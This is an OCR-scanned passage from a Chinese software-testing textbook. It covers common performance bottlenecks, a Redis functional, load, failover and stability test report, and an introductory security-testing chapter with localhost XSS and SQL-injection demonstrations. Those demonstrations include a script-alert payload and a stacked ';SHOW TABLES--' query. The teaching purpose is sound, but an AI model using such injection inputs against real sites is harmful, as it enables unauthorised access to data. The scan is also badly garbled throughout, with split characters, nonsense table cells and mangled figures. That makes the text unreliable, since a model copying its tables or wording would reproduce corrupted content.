10.1.10 常见 性 能 问题 总 结 


这 里 抛砖引玉 地 帮 大 家 总 结 了 常见 的 性 能 问题 ,后 续 大 家 可 以 根据 自 
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己 的 经 验 积累 来 不 断 完善 。 
硬件 方面 : 万 物 的 基础 都 是 硬件 ,不 论 是 服务 还 是 程序 都 要 部 署 在 
硬件 上 ,所 以 硬件 如 果 有 瓶颈 你 再 怎么 调 优 程序 效果 也 不 会 太 好 的 。 
比如 ,用 更 好 的 CPU、SSD 硬盘 等 。 
OS( 操 作 系 统 ) 方 面 : 硬件 之 上 就 是 OS, 我 们 的 应 用 、 服 务 都 是 部 署 
在 OS 上 的 ,所 以 好 的 OS 也 是 非常 必要 的 。 我 们 要 关注 版 本 、CPU 
(占用 率 、 负 和 载 、 上 下 文 切 换 次 数 )、 内 存 、IO、 内 核 参 数 等 。 常 见 的 性 
能 问题 有 CPU、 内 存 占用 率 高 等 。 
中 间 件 方面 : 这 里 我 们 把 Web 服务器、 应 用 服务 器 等 统称 为 中 间 件 。 
常见 的 性 能 问题 包含 但 不 限于 参数 配置 不 合理 部署 不 合理 等 ,如 
JVM 内 存 设置 不 合理 ,可 能 会 导致 Full GC 的 频繁 等 。 
数据 库 方面 : 一 般 可 以 从 架构 、 参 数 、SQL 语句 这 几 个 方面 来 进 
行 调 优 。 常见 的 就 是 慢 查 询 . 连接 数 . 数 据 库 死 锁 的 问题 ,如 
SQL 语句 缺少 了 必要 的 条 件 、 索 引 设计 不 合理 .索引 失效 、 连 接 
程序 方面 : 通俗 点 说 就 是 指 代码 ,如 请 求 的 处 理 线程 不 够 .一 次 性 处 
理 太 大 太 多 的 对 象 无 缓存 、 没 合理 地 处 理 静 态 变 量 、 有 建立 连接 但 
没 关 闭 连接 等 。 
网 络 方面 : 负载 机 制 、 防 火 墙 等 。 一 般 我 们 做 测试 通常 都 会 避免 有 
网 络 问 题 ,这 样 才 能 较 好 地 测试 出 服务 器 端的 性 能 。 

根据 8020 原则 ,80% 的 性 能 消耗 在 20% 的 代码 上 ,所 以 性 能 调 优 一 定 
是 有 轻重 缓急 的 ,最 忌讳 病 乱 投医 。 


10.2 ”Redis 功能 与 非 功 能 性 测试 


本 节 内 容 来 自学 员 小 燕 在 工作 中 对 项 目的 总 结 ,主要 是 针对 Redis 系统 
做 的 功能 和 非 功 能 性 测试 。 主 要 的 测试 目标 如 下 。 
。 通过 对 Redis 进行 功能 测试 ,验证 其 可 以 满足 实际 使 用 需求 。 
。 通过 对 Redis 性 能 测试 及 高 可 用 测试 ,验证 其 实际 的 处 理 能 力 , 为 系 
统 投产 提供 数据 参考 。 
因为 涉及 敏感 信息 所 以 部 分 内 容 做 了 处 理 。 
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10.2.1 测试 结论 (功能 \ 性 能 、 稳 定性 ) 


测试 结论 以 表格 的 形式 整理 如 下 。 
1. 功能 性 测试 


内 容 测试 结果 
增加 一 个 无 过 期 时 间 的 缓存 OK 
增加 一 个 在 x 秒 后 过 期 的 缓存 -相对 时 间 OK 
增加 一 个 在 x 秒 后 过 期 的 缓存 -绝对 时 间 OK 
获取 一 个 缓存 值 OK 
判断 缓存 是 否 存 在 OK 
异步 获取 缓存 OK 
测试 移 除 缓存 OK 
把 一 个 元 素 加 入 队列 OK 
从 队列 中 取 一 个 元 素 OK 
从 队列 中 异步 取 一 个 元 素 OK 
批量 加 入 队列 OK 
获取 队列 长 度 OK 
移 除 队 列 所 有 元 素 OK 
移 除 队列 中 的 某 元 素 , 返 回 移 除 的 队列 个 数 OK 
异步 移 除 队列 中 的 某 元 素 OK 
保留 队列 从 左边 界 到 右边 界 的 元 素 ,其 余 的 移 除 掉 OK 
黑 名 单 功能 OK 
中 文 处 理 OK 
特殊 字符 处 理 OK 
大 数据 元 素 处 理 (10M) OK 
分 布 均匀 性 基本 通过 OK 


2. 单 场景 负载 测试 结果 概要 
(不 加 思考 时 间 , 通 过 API 调用 ) 


场景 类 型 接口 名 称 预期 结果 实际 结果 
VU=200 

负载 测试 AddCache TPS 一 1524 
ART=0. 12s 


大 话 软件 测试 


性 能 、 自 动 化 及 团 


续 表 
场景 类 型 接口 名 称 预期 结果 实际 结果 
VU=200 
AddCache(t) TPS 王 1524 
ART=0. 12s 
VU=200 
GetCache TPS=1595 
本 ART=0. 11s 
负载 测试 VU=200 
MQService. Push TPS=1726 
ART=0. 11s 
VU=200 
MQService. Pop TPS=2064 
ART=0. 04s 
3. 混合 场景 负载 测试 结果 概要 
(加 1 秒 思考 时 间 , 即 模拟 线 上 每 秒 300 次 请 求 的 情况 ) 
总 并 发 | 百分比 并 发 平均 响 事物 
(a! TPS 
护 风 各 冤 用 户 数 /% 用 户 数 | 应 时 间 通过 率 /% 
AddCache 20 60 0.07s 58 100 
AddCache(t) 10 30 0.07s 29 100 
GetCache 300 30 90 0.07s 87 100 
MQService. Push 20 60 0.07s 58 100 
MQService. Pop 20 60 0.06s 58 100 
4. 高 可 用 性 测试 结果 概要 
场景 类 型 接口 名 称 预期 结果 实际 结果 
AddCache 
AddCache( 
高 可 用 性 测试 有 
高 沈 etCache 
ee 据 见 后 续 的 分 析 


MQService. Push 


MQService. Pop 
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5. 稳定 性 和 数据 正确 性 测试 结果 概要 
(8 小 时 ,6 个 用 户 操作 不 同 缓存 ,2 个 用 户 操作 不 同 队列 ,每 次 操作 间隔 1s) 


场景 类 型 


接口 名 称 预期 结果 


实际 结果 


AddCache 


AddCache(t) 


稳定 性 测试 


GetCache 


MQService. Push 


MQService. Pop 


10.2.2 测试 过 程 之 功能 测试 


内 容 


测 试 点 


测试 通过 ,详细 数 
据 见 


后 续 的 分 析 


测试 结果 


增加 一 个 无 过 期 时 间 
的 缓存 


增加 


. 修改 值 
. 原先 有 过 期 时 间 的 ,过 期 时 间 未 过 ,修改 


成 无 过 期 时 间 的 


. 值 为 空 
5。key 为 空 


通过 


增加 一 个 在 x 秒 后 过 
期 的 缓存 -相对 时 间 


增加 


. 修改 值 

. 原先 无 过 期 时 间 的 ,修改 成 有 过 期 时 间 的 
. 值 为 空 .key 为 空 、 时 间 为 空 、 为 非 int 
.过 期 时 间 是 否 生效 


通过 


增加 一 个 在 x 秒 后 过 
期 的 缓存 -绝对 时 间 


增加 


.修改 值 


原先 无 过 期 时 间 的 ,修改 成 有 过 期 时 间 的 
值 为 空 、key 为 空 、 时 间 为 空 或 非 时 间 


. 过 期 时 间 是 否 生效 


通过 


获取 一 个 缓存 值 


. 获取 存在 的 缓存 
. 获取 不 存在 的 缓存 


通过 


判断 缓存 是 否 存在 


存在 


. 不 存在 
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续 表 
内 窜 测 试 点 测试 结果 
1. 存在 
} EE 强 省 订 
异步 获取 缓存 通过 
1、 移 除 存在 的 缓存 
a 人 缚 | 9 
测试 移 除 缓存 2 移 除 不 存在 的 缓存 
1. 新 队列 
3 2. 旧 队 列 
ew A Mr: 
把 一 个 元 素 加 入 队列 “| 。 元吉 和 通过 
4 请 求 参 数 不 对 
1. 空 队 列 
| & 有 元 素 的 队列 | 
一 个 对 证 癌 
从 队列 中 取 一 个 元 素 “| 。 大 估 避 通过 
4. 请 求 参 数 不 对 
1. 空 队 列 
从 队列 中 异步 取 一 个 | 2 有 元 素 的 队列 
元 素 3, 无 队列 
1、 请 求 参数 不 对 
1 新 队列 
2. 旧 队 列 i 
批量 加 入 队列 en 通过 
4、 请 求 参数 不 对 
1 空 队列 
| 2， 有 元 素 的 队列 a 
获取 队列 长 度 0 通过 
4 请 求 参数 不 对 
1 空 队列 
. 2， 有 元 素 的 队列 
移 除 队列 所 有 元 素 。 | 和 从 六 通过 
4 请 求 参数 不 对 
1， 空 队列 
移 除 队列 中 的 某 元 素 ，| 人 ee 
返回 移 除 的 队列 个 . 
返回 移 除 的 队列 个 数 。 | 入 求 人数 不 寻 
5. 元素 有 重复 的 情况 
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续 表 
内 容 测 试 点 测试 结果 
1. 空 队列 
2. 有 元 素 的 队列 
gt 3 a 
: 4. 请 求 参 数 不 对 
5. 元 素 有 重复 的 情况 
保留 队列 从 左边 界 到 
有 边界 的 元 素 , 其 余 的 | 下 大人、 通过 
移 除 掉 A 
1. 列 人 黑 名 单 后 是 否 只 能 读 
黑 名 单 通 癌 
Sn 2. 移 除 黑 名 单 后 是 否 可 以 读 写 二 
中 文 处 理 通过 
特殊 字符 处 理 通过 


10.2.3 ”测试 过 程 之 大 数据 元 素 测试 


场景 描述 : 队列 单个 元 素数 据 大 小 大 于 10M, 按 照 测试 步骤 重复 500 
次 ,每 个 步骤 间隔 3 秒 。 

测试 步 又 : 

。 加 入 元 素 1。 

。 加 入 元 素 2。 

。 消费 元 素 1。 

。 消费 元 素 2。 

测试 结果 如 图 10. 11, 加 入 队列 元 素 99% 的 响应 时 间 在 0. 199s 以 内 , 消 
费 队 列 元 素 99% 的 响应 时 间 在 0. 302s 以 内 ,满足 需求 。 


Label | 六 Sam.…| Average| Median | 90% Li.. 95% Li... 99% Li Min Max | Error % |Throug... KB/se 
加 六 队列 1000 121 117 132 141 199 99| 1063| 0.00%| 4.2imin| 273 
获取 队 . ,999 94 84 96| 113| 302 2 511| 0.00%| 4.2imin| 272| 
总体 2000 108 104 128 139| 297| 2| 1063| 0.00%| 8.5/min| 546 


图 10.11 测试 结果 (1) 


10.2.4 ”测试 过 程 之 分 布 均匀 性 测试 


从 图 10. 12 测试 结果 来 看 key 的 分 布 比较 均匀 。 这 里 需要 提醒 的 是 某 


大 话 软 件 测试 一 一 性 能 、 自 动 化 及 


些 队 列 数 据 量 较 大 或 积压 元 素 较 多 时 会 造成 使 用 内 存 分 布 不 均 , 从 而 影响 


到 整体 性 能 。 


阻 别 ”key 数量 | 使 用 内 存 
组 1 1166433 85M 
组 2 1167453 94M 
组 3 1167123 35M 


图 10.12 测试 结果 (2) 
10.2.5 测试 过 程 之 性 能 测试 


1. 单 场景 性 能 测试 


通过 API 来 调用 进行 测试 ,因为 涉及 接口 较 多 ,这 里 只 罗列 GetMQ 接 
口 进行 分 析 。 测 试 结果 如 表 10-1 所 示 。 


表 10-1 测试 结果 
编号 场景 名 称 并 发 用 户 数 TPS 响应 时 间 事务 通过 率 
1 Sc_01 50 1953 0. 03s 100% 
汉 Sc_02 100 2031 0.05s 100% 
3 Sc_03 200 2064 0.04s 100% 


从 上 述 数 据 得 出 ,TPS 可 以 达到 2000 左右 ,并 且 响 应 时 间 小 于 0. 1s, 符 
合 预期 需求 。 为 了 可 以 更 加 稳定 地 服务 ,我 们 又 扩展 了 几 个 测试 方案 ,分 别 
如 下 。 
。 3 台 压 力 机 同时 压 3 台 WebAPI, 测 试 结果 TPS 可 以 达到 6000 左右 。 
。 直接 引用 redis-dll ; 进行 测试 ， 测试 结果 TPS 可 以 达到 6000 左右 。 
。 直接 操作 redis-cluster( 先 确定 操作 的 key 肯定 命中 对 应 的 redis 实 
例 ， PP redis 实例 ) ,set 可 以 达到 150 000s 1!, get 可 以 达到 
600 000s 


2. 混合 场景 性 能 测试 


并 发 数 分 别 以 150、200、300 进行 压 测 ,得 出 的 数据 如 表 10-2、 表 10-3 和 
表 10-4 所 示 。 从 结果 数据 来 看 ,响应 时 间 和 TPS 都 处 于 正常 波动 ,平均 响 
应 时 间 在 0. 1s 之 内 ,可 以 满足 现 有 需求 。 
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表 10-2 并 发 数 150 


接口 名 称 总 并 百分比 并 发 用 平均 Ee i 
发 用 户 数 户 数 响应 时 间 通过 率 

addclear 20% 30 0. 06s 29 100% 
addclear(t) 10% 15 0. 06s 14 100% 
getclear 150 30% 45 0. 06s 43 100% 
addmq 20% 30 0.06s 29 100% 
getmq 20% 30 0.04s 29 100% 


表 10-3 并 发 数 200 


接口 名 称 总 并 百分比 并 发 用 平均 Ti 有 
发 用 户 数 户 数 响应 时 间 通过 率 

addclear 20% 40 0. 05s 39 100% 
addclear(t) 10% 20 0.05s 19 100% 
getclear 200 30% 60 0.05s 58 100% 
addmq 20% 40 0.05s 39 100% 
getmq 20% 40 0.03s 39 100% 


表 10-4 并 发 数 300 


接口 名 称 总 并 百分比 并 发 用 平均 和 的 
发 用 户 数 户 数 响应 时 间 通过 率 

addclear 20% 60 0.07s 58 100% 
addclear(t) 10% 30 0.07s 29 100% 
getclear 300 30% 90 0.07s 87 100% 
addmq 20% 60 0.07s 58 100% 
getmq 20% 60 0. 06s 58 100% 


10.2.6 测试 过 程 之 高 可 用 测试 


使 用 最 大 并 发 数 或 TPS 的 80% ,场景 持续 运行 时 间 1 小 时 ,各 场景 交 
易 均 忽略 思考 时 间 , 从 而 获取 Redis 服务 器 处 理 表现 情况 。 
。 场 景 A: 在 集群 应 用 下 ,停止 其 中 一 台 Slave 服务 ,无 影响 ,如 
图 10. 13 所 示 。 
。 场景 B: 在 集群 应 用 下 ,停止 其 中 一 台 Redis Master Server 服务 , 验 
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图 10.13 场景 A 


证 Redis Slave Server 能 和 否 正常 处 理应 用 请 求 并 成 功 升级 为 Master。 
如 图 10. 14 所 示 ,停止 其 中 一 台 Redis Master Server 服务 ,TPS 曲 
线 出 现 明显 波动 ,但 在 30s 内 Slave 能 成 功 升级 为 Master ,影响 时 间 
大 概 为 3 分 钟 , 生 成 环境 预计 会 在 1 分 钟 以 内 。 


Trans Response Tme - whole scena Ac 


Response Time (sec) 


BSResssns 


00:01:00 00:02:00 00:03:00 00:04:00 00:05:00 00:06:00 0007:00 00:08:00 00:09:00 00:10:00| 
Elapsed Time (Hour Min-Sec) 


图 10.14 场景 B 


。 场景 C: 在 集群 应 用 下 ,一 组 服务 器 挂 掉 , 即 一 组 Master、Slave 同时 
挂 ,只 影响 在 该 组 服务 器 中 的 key 访问 ,其 他 服务 器 上 面 的 读 写 不 受 
影响 ,如 图 10. 15 所 示 。 

。 场景 D: 在 集群 应 用 下 ,停止 Redis Master Server 服务 ,场景 执行 5 
分 钟 后 对 其 进行 重启 操作 ,验证 其 启动 后 能 否 正常 处 理应 用 请 求 。 
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图 10.15 场景 C 


。 场景 EE: 在 集群 应 用 下 ,停止 一 台 Master 服务 ,场景 执行 15 分 钟 后 对 
其 进行 重启 操作 ,验证 其 启动 后 能 否 正常 处 理应 用 请 求 ,如 图 10. 16 
所 示 , 且 原 master 服务 变 为 slave, 如 图 10. 17 所 示 。 
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Response Time (sec) 


S3882s383s 


00:15:00 00:20:00 


00:10:00 
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10.16 场景 E(1) 


10.2.7 测试 过 程 之 稳定 性 测试 


设计 场景 如 下 。 
。 用 户 A: 没有 过 期 时 间 的 缓存 操作 ,确认 所 有 值 的 写 人 和 读 取 是 正 


动 化 及 


图 10.17 场景 E(2) 


确 的 。 

。 用 户 B: 有 100 秒 过 期 时 间 的 缓存 操作 ,确认 所 有 值 的 写 和 信和 读 取 是 
正确 的 。 

。 用 户 C: 队列 操作 ,针对 同一 个 list 进行 操作 ,确认 获取 规则 是 先进 
先 出 。 

。 3 个 A 用 户 操作 不 同 缓存 ,3 个 B 用 户 操作 不 同 缓存 ,2 个 C 用 户 操 
作 不 同 队列 C, 每 次 操作 间隔 1s ,持续 8 小 时 。 

测试 结果 如 图 10. 18 所 示 ,确认 数据 都 是 正确 的 , 且 无 报错 。 


Label 并 Sampled Average | Median | 90% Line| 95% Line| 99% Line| Min Max Eror % |Through..| KB/sec 
两 入 队列 26405| 引 3 引 可 引 1| 440| 0.00%| 60.0min| 引 
赠 加 漂 存 元 际 其 42607 有 4 日 7 11 3 565| 000%| 15sec 
手 加 100 秒 后 过 期 的 如 存 42606 3 3 引 日 19 1 562| 000%| 15/sec 5| 
获取 缓存 值 key1 | 42605| 了 3 引 GI 10| 1| 477| 0.00%| 1.51sec 4 
获取 斤 存 值 key2 42605 4 4 | 7 10 2 426| 000%| 1.5/sec 4 
获取 队列 元 素 28404 3 引 3 4 5 昌 1 317| 0.00%| 60.0/min| 3 
[EE | 227232 | 3 5 10 1 562| 000%| 6.0sec| 24 


图 10.18 测试 结果 


10.3 ”本章 小 结 


性 能 测试 之 所 以 有 魅力 ,就 是 因为 它 总 能 保持 神秘 ,不 知道 什么 时 候 发 
生 问题 ,发 生 了 问题 也 不 知道 是 什么 原因 因 , 好 不 容易 分 析出 来 了 ,也 有 可 能 
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不 生效 需要 男 找 方法 ,总 之 就 是 快乐 地 “折磨 ”你 ,人 嘛 就 是 喜欢 被 “折磨 ”和 
折腾 。 所 以 你 如 果 不 是 一 个 安 于 现状 的 人 ,可 以 学 学 性 能 测试 哦 。 

本 章 主要 是 配合 一 些 案例 给 大 家 梳理 了 分 析 的 思路 ,很 多 内 容 是 可 以 
扩展 思考 的 ,大 家 在 日 后 也 要 多 做 总 结 和 沉淀 ,这 也 是 整理 思路 的 最 好 
方法 。 


第 11 章 


大 话 安全 测试 


安全 测试 貌似 一 直 是 一 个 神秘 的 领域 ,我 们 常常 会 和 电影 中 的 黑客 联 
系 起 来 ,总 觉得 好 厉害 的 样子 。 作 为 IT 人 员 , 日 常 中 我 们 也 常常 被 问 到 : 
“我 QQ 被 盗 了 ,你 能 帮 我 找 回来 吗 ?你 可 是 做 IT 计算 机 的 呀 ”好 吧 , 请 允 
许 我 冷静 一 会 。 

本 章 将 尽 可 能 地 以 通俗 的 表达 方式 给 大 家 普及 安全 测试 的 知识 ,也 希 
望 能 帮助 大 家 把 安全 测试 的 理念 应 用 到 实际 工作 中 。 


11.1 安全 测试 与 X 客 


在 安全 领域 我 们 常会 听 到 这 么 几 个 词 : 安全 测试 、 黑 帽子 、 白 帽子 、 红 帆 
子 等 ,那么 我 们 就 来 看 看 这 些 到 底 是 什么 意思 。 

安全 测试 我 们 可 以 粗暴 、 通 俗 地 理解 为 是 测试 领域 的 一 个 名 词 , 主 要 是 
对 自家 产品 或 者 竞 品 进 行 安全 方面 的 测试 工作 ,这 个 工作 是 光明 正大 的 ,而 
且 要 尽 可 能 多 地 发 现 安全 方面 的 问题 。 而 大 家 在 电影 里 看 到 的 黑客 则 恰恰 
相反 ,是 偷偷 摸 摸 的 。 

黑 帽 子 ,关键 在 于 “ 黑 ”, 我 们 可 以 理解 为 利用 软件 硬件 、 系 统 漏洞 等 ， 
以 达到 谋 利 .技术 炫耀 、 发 泄 的 人 , 简 而 言 之 就 是 惹 是 生 非 的 人 。 

知道 了 黑 帽 子 是 什么 ,自然 白 帽 子 大 家 也 应 该 可 以 猜 到 了 吧 ? 没 错 , 白 
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帽子 是 相对 正面 的 黑 帽 子 , 他 们 可 以 识别 安全 漏洞 ,但 并 不 会 恶意 去 利用 ， 
而 是 公布 其 漏洞 ,以 便 相 关 人 员 看 到 后 可 以 修复 。 这 里 不 得 不 提 到 一 个 平 
台 : 乌云 Chttp://wooyun. org) ,是 一 个 漏洞 报告 平台 ,也 是 汇聚 大 量 白 帽 子 
的 地 方 。 

聊 到 这 里 我 不 知道 大 家 有 没有 想到 生活 中 的 场景 ,自己 的 电话 .邮箱 莫 
名 被 骚扰 ,更 有 甚 者 身份 证 被 盗用 。 其 实在 圈子 里 ,一 些 大 网 站 的 数据 库 是 
被 明码 标价 的 ,一 个 库 被 端 下 来 ,能 价值 600 多 万 元 呢 ,我 们 的 很 多 信息 基本 
都 是 透明 的 。 

最 后 我 们 来 说 说 红帽子 这 个 比较 特殊 的 人 群 ,一 般 红帽子 是 指 这 样 一 
群 为 了 维护 国家 利益 ,利用 网 络 技 术 人 侵 别 的 国家 ,为 自己 国家 争光 的 人 。 
这 些 人 更 多 的 是 有 一 种 爱国 精神 作为 支柱 的 。 


11.2 安全 测试 的 范围 


对 于 功能 测试 的 范围 ,我 们 都 非常 熟悉 了 ,但 安全 测试 的 范围 似乎 有 些 
模糊 。 难 道 安 全 测试 的 范围 就 是 我 们 了 解 的 XSS( 跨 站 脚本 攻击 )、CRSF 
( 跨 站 请 求 伪造 ) 、 绕 过 客户 端 攻 击 等 这 些 吗 ? 必然 不 是 ,安全 测试 的 范围 往 
广义 说 包括 但 不 限于 业务 的 安全 、 应 用 的 安全 、 网 络 的 安全 、 物 理 设备 的 安 
全 ,数据 的 安全 ,安全 管理 和 运营 等 方面 ,如 图 11. 1 所 示 。 


组 织 体系 技术 体系 运作 体系 
员 技术 操 
组 织 架构 技术 框架 评估 、 实 施 、 维 护 
人 员 管 理 标准 规范 监视 、 响 应 、 恢 复 
防护 检测 | ”响应 恢复 
认证 授权 入 侵 检 测 | ”应 急 响应 备份 
访问 控 病毒 检测 | ”调查 取证 恢复 
数据 加 密 安全 审计 . 事件 处 理 其 他 


安全 保障 目标 
物理 安全 | ”运行 安全 | 信息 安全 保密 


图 11.1 安全 测试 的 范围 
由 此 可 见 , 安 全 测试 的 范围 极其 广 ,如 果 想 做 到 专业 、 完 善 ,需要 在 各 个 
关键 点 进行 测试 和 预防 ,但 很 多 企业 由 于 实际 情况 .资源 .时 间 以 及 缺乏 安 
全 测试 方面 的 人 员 等 限制 并 没有 办 法 全 部 考虑 到 ,所 以 我 们 更 多 地 在 业务 


大 话 软 件 测试 一 一 性 能 、 自 动 化 及 


安全 、 应 用 安全 方面 做 测试 和 预防 。 


11.3 安全 测试 的 流程 


一 图 胜 千言 ,安全 测试 的 流程 与 功能 测试 的 流程 基本 相同 ,如 图 11. 2 
所 示 。 


开始 


安全 与 威胁 
分 析 


| 


代码 评审 上 一 人 
统计 分 析 
缺陷 根据 i 
测试 测试 总 结 
测试 用 例 测试 执行 回 反光 斌 所 


图 11.2 安全 测试 的 流程 


。 安全 与 威胁 分 析 既 要 从 业务 设计 方面 考虑 也 需要 从 代码 实现 方式 上 
考虑 ,同时 要 有 相应 的 应 对 和 预防 策略 。 

。 代码 评审 一 般 都 可 以 通过 配置 Jenkins 进行 自动 化 扫描 。 

。 测试 执行 方面 除了 手工 进行 外 也 要 配合 工具 进行 扫描 ,比如 
Appscan 或 者 WVS。 

。 最 后 一 定 要 总 结 , 并 给 出 以 后 避免 的 方法 ,这 样 才能 有 效 提 升 项 目的 


质量 。 


11.4 安全 测试 的 意义 


这 里 之 所 以 会 单独 说 一 下 安全 测试 的 意义 ,是 因为 我 觉得 很 多 时 候 我 
们 对 技术 太 过 狂热 而 忽略 了 背后 的 思想 。 很 多 时 候 我 们 学 习 技 术 是 为 了 
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提升 
个 


oa 但 这 些 其 实 是 表象 ,本 质 应 该 是 
这 里 举人 


自己 的 测试 思维 。 这 么 说 大 家 可 能 觉得 比 wa 泛 和 抽象 , 那 这 
例子 。 

比如 ,现在 有 一 个 表单 提交 的 测试 ,其 中 有 一 个 金额 的 字段 ,作为 测试 
工程 师 你 在 测试 的 时 候 是 怎么 设计 用 例 的 ? 这 里 估计 会 有 不 少 朋 友 说 太 简 
单 啦 ,无 非 就 是 边界 值 .长 度 等 常见 的 用 例 。 这 里 仅 回 答对 了 一 部 分 。 对 于 
类 似 这 样 字段 的 验证 ,规范 的 研发 流程 里 是 需要 在 前 端 .后 端 全 部 加 上 校 验 
逻辑 的 ,而 不 能 仅仅 前 端 校 验 后 端 不 校 验 , 因 为 如 果 仅 仅 是 前 端 校 验 了 那 
么 利用 安全 测试 的 手段 是 可 以 绕 过 前 端 校 验 , 这 样 就 把 不 合法 的 数据 提交 
到 了 后 端 ,如 果 后 端 还 正确 地 处 理 了 , 那 就 尴 众 了 啊 ! 过 程 如 图 11.3 
所 示 。 


绕 过 前 端 校 验 


人 1 

甬 过 

作 户 输入 金鱼 一 -人 前 端 术 验 } 一 ~-( 入 库 ] 
f 


不 通过 


图 11.3 前 端 校 验 


还 不 明白 ? 那 再 具体 一 点 ,一 个 小 米 手机 价值 5 千 元 ,由 于 开发 工程 师 
的 不 小 心 没有 在 后 端 加 校 验 ,这 时 候 你 拦截 请 求 并 算 改 了 金额 为 5 元 钱 ,还 
居然 提交 成 功 了 。 蔡 喜 , 你 5 元 钱 买 到 了 一 部 小 米 手机 ,这 下 明白 了 吧 ? 前 
端 和 后 端 都 加 上 校 验 可 避免 这 种 情况 ,过 程 如 图 11.4 所 示 。 

不 通过 
1 | 


作 户 输入 全 同一 -人 前端 校 验 过 ( 后 六 校 验 于。( 入 应 
有 


不 通过 
图 11.4 前 端 和 后 端 校 验 


所 以 ,从 这 个 例子 可 以 看 出 ,学 习 技 术 的 本 质 是 扩展 我 们 的 思想 , 当 别 
人 拿 到 这 个 功能 测试 的 时 候 只 能 设计 出 10 个 用 例 , 但 因为 我 们 有 了 这 样 的 
思想 ,我 们 可 以 设计 出 更 多 的 用 例 也 可 以 发 现 更 多 隐藏 的 缺陷 ,自然 你 的 价 
值 就 和 别人 不 同 了 。 慢 慢 地 我 们 就 会 明白 体现 自己 价值 的 方式 不 仅仅 是 技 
术 , 更 重要 的 是 思维 。 
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11.5 安全 测试 攻击 技术 精 要 


本 节 将 对 常见 的 安全 测试 手段 进行 讲解 ,主要 从 概念 、 实 战 、 预 防 三 个 
方面 进行 。 实 战 演 示 均 在 PHP 环境 下 进行 ,浏览 器 均 使 用 火狐 (其 他 浏览 
器 可 能 会 自动 处 理 一 些 低级 别 的 漏洞 造成 我 们 无 法 看 到 ) ,可 运行 的 代码 可 
以 通过 关注 本 书 前 言 中 的 微 信 公 众 号 之 后 ,在 对 话 框 中 回复 关键 字 “ 大 话 软 
件 测试 "获取 。 


11.5.1 XSS 跨 站 脚本 攻击 


1. XSS 是 什么 


XSS 的 全 英文 是 Cross Site Scripting, 也 就 是 我 们 常 说 的 跨 站 脚本 攻 
击 。 这 也 是 常见 的 要 进行 安全 测试 的 手段 。 之 所 以 会 存在 这 样 的 漏洞 是 因 
为 应 用 程序 没有 对 用 户 的 输入 进行 校 验 。 比 如 ,用 户 输入 了 JavaScript 代 
码 , 应 用 程序 没有 做 过 滤 或 者 转 义 而 是 直接 运行 了 。 


2. XSS 实战 


使 用 火狐 浏览 器 访问 链接 : http://localhost/security_ demo/xss_ 
demo. php? param 一 xiaoqiang, 得 到 的 页 面 会 显示 param 的 参数 值 ,也 就 是 
xiaoqiang。 这 种 是 正常 的 情况 。 接 下 来 我 们 尝试 用 XSS 来 进行 测试 ,大 致 
步 又 如 下 。 

(1) 分 析 : 我 们 知道 XSS 其 实 就 是 执行 了 特殊 的 代码 而 导致 的 安全 漏 
洞 ,此 处 的 请 求 携带 参数 param ,而 这 个 参数 就 是 用 户 输入 的 内 容 , 如 果 输入 
的 是 特殊 的 代码 且 被 执行 , 那 说 明 存 在 漏洞 。 

(2) 构造 特殊 参数 : 一 般 我 们 会 尝试 使 用 JavaScript 脚本 来 进行 测试 ， 
比如 ,< script < alert('xiaogiang')</script <。 

(3) 验证 : 把 上 述 的 特殊 参数 值 蔡 换 原来 正常 的 ,然后 火狐 浏览 器 访问 
链接 http://localhost/security_ demo/xss_ demo. php? param = < Script < 
alert('xiaoqiang')</script <, 出 现 如 图 11. 5 的 提示 ,说 明 存 在 XSS 漏洞 。 
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xiaoqiang 


图 11.5 XSS 漏洞 
3. XSS 预防 


当 你 明白 了 XSS 漏洞 是 怎么 产生 的 之 后 ,预防 方法 也 就 自然 诞生 了 ,说 
的 简单 点 就 是 把 这 些 可 以 执行 的 代码 进行 处 理 让 它 变 得 不 可 执行 即 可 , 包 
括 但 不 限于 如 下 几 种 方法 。 

(1) 在 PHP 中 可 以 使 用 htmlspecialchars 函数 。 

(2) 在 Java 中 可 使 用 包 org. apache. commons. lang. StringEscapeUtils 
下 的 escapeHtml、escapeJavaScript、escapeSql 等 方法 。 

(3) 对 不 可 信任 的 数据 或 者 &、<、<、”、、/ 等 进行 编码 。 


11.5.2 SQL 注 和 人 攻击 
1. SQL 注入 是 什么 


SQL 注入 顾名思义 就 是 通过 构造 特殊 的 SQL 语句 侵入 到 应 用 程序 中 
来 执行 。 比 如 ,用 户 在 页 面 表单 输入 用 户 名 和 密码 ,那么 这 些 信 息 可 能 会 通 
过 SQL 语句 和 数据 库 中 的 信息 做 对 比 ,如 果 用 户 输入 了 特殊 的 SQL 可 能 会 
改变 原来 的 SQL 从 而 被 攻击 ,如 图 11.6 所 示 。 


2. SQL 注入 实战 


实战 步骤 大 致 如 下 。 
(1) 在 MySQL 中 新 建 一 个 数据 库 叫 security_demo,SQL 语句 如 下 : 


CREATE DATABASE “` security _ demo‘ DEFAULT CHARACTER SET utf8 COLLATE utf8 _ 


general ci; 
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户 访问 网 站 如 果 有 漏洞 则 
并 输入 特殊 输入 密码 会 执行 新 的 MySQL 
代码 SQL 语句 数据 库 
PE 
t 造成 破坏 


图 11.6 SQL 注入 
(2) 在 该 数据 库 中 新 建 一 张 表 user,SQL 语句 如 下 : 


CREATE TABLE user ( "uid'` INT( 11 ) NOT NULL AUTO INCREMENT PRIMARY KEY COMMENT 
' 用 户 uid'，`username` VARCHAR( 20 ) NOT NULL COMMENT ' 用 户 名 '， `password 
VARCHAR( 32 ) NOT NULL COMMENT ' 用 户 密 码 ' ) ENGINE = INNODB; 


(3) 在 该 表 中 插入 一 条 数据 ,SQL 语句 如 下 : 


INSERT INTO user (‘uid‘, ‘username‘, ‘password*) VALUES ('1', xiaogqiang, MD5 

(123123)); 

(4) 最 后 在 火狐 浏览 器 中 访问 链接 http://localhost/security_demo/sql 
_demo. php?username 二 xiaoqiang, 可 以 得 出 指定 的 用 户 信息 ,如 图 11.7 
所 示 。 


Array 
[0] => Array 
( 


[uid] => 1 
[username] => xiaoqiang 


图 11.7 结果 1 


(5) 接 下 来 尝试 构造 特殊 的 数据 ,看 看 是 否 可 以 替换 执行 原来 的 SQL。 
我 们 在 请 求 的 参数 后 面 加 上 ';SHOW TABLES-- xiaoqiang。 其 中 连续 的 两 
个 -表示 忽略 此 -- 后 面 的 语句 。 构 造 之 后 的 完整 请 求 变 为 了 如 下 的 URL, 执 
行 之 后 的 结果 如 图 11. 8 所 示 ,可 以 看 到 居然 执行 了 show tables 这 条 语句 还 
把 表 名 显示 了 出 来 。 


http://localhost/security demo/sql _ demo. php?username = xiaoqiang ' ; SHOW 
TABLES-- xiaoqiang 
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Array 
